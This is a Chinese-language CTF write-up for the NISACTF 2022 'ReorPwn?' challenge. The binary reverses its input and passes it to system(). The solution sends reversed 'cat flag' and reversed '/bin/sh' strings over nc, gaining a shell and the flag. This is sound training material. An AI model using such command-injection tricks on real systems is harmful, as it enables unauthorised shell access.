[NISACTF 2022]ReorPwn?

[NISACTF 2022]ReorPwn?

桌面$ checksec Re_or_pwn 
[*] '/home/pwn/桌面/Re_or_pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
桌面$ ./Re_or_pwn
evcexe ot tnaw uoy tahw em lleT:
aaaa
sh: 1: aaaa: not found
1
2
3
4
5
6
7
8
9
10
11

IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  puts("evcexe ot tnaw uoy tahw em lleT:");
  gets((__int64)a);
  fun(a);
  system(a);
  return 0;
}
1
2
3
4
5
6
7
8
9
10
11

__int64 __fastcall fun(const char *a1)
{
  __int64 result; // rax
  char v2; // [rsp+17h] [rbp-9h]
  int i; // [rsp+18h] [rbp-8h]
  int v4; // [rsp+1Ch] [rbp-4h]

  v4 = strlen(a1);
  for ( i = 0; ; ++i )
  {
    result = (unsigned int)(v4 / 2);
    if ( i >= (int)result )
      break;
    v2 = a1[i];
    a1[i] = a1[v4 - i - 1];
    a1[v4 - i - 1] = v2;
  }
  return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

逆向分析

假设输入a为abcd，进入fun函数之后，逻辑如下。可以发现是字符反转

a1 = abcd
v4 = 4
result = 2
v2 = a1[0] = a
a1[0] = a1[4-0-1] = a1[3] = d
a1[4-0-1] = a1[3] = a
1
2
3
4
5
6

python脚本

>>> str = 'cat flag'
>>> print(str[::-1])
galf tac
1
2
3

EXP

直接nc

桌面$ nc node4.anna.nssctf.cn 28205
evcexe ot tnaw uoy tahw em lleT:
galf tac
NSSCTF{51e0f982-7306-48da-a5aa-ede2243a7a
1
2
3
4

或者

>>> str = '/bin/sh\x00'
>>> len(str)
8
>>> str1 = '/bin/sh'
>>> len(str1)
7
>>> print(str1[::-1])
hs/nib/
1
2
3
4
5
6
7
8

桌面$ nc node4.anna.nssctf.cn 28205
evcexe ot tnaw uoy tahw em lleT:
hs/nib/
ls
bin
dev
flag
lib
lib32
lib64
pwn
cat flag
NSSCTF{51e0f982-7306-48da-a5aa-ede2243a7a58}
1
2
3
4
5
6
7
8
9
10
11
12
13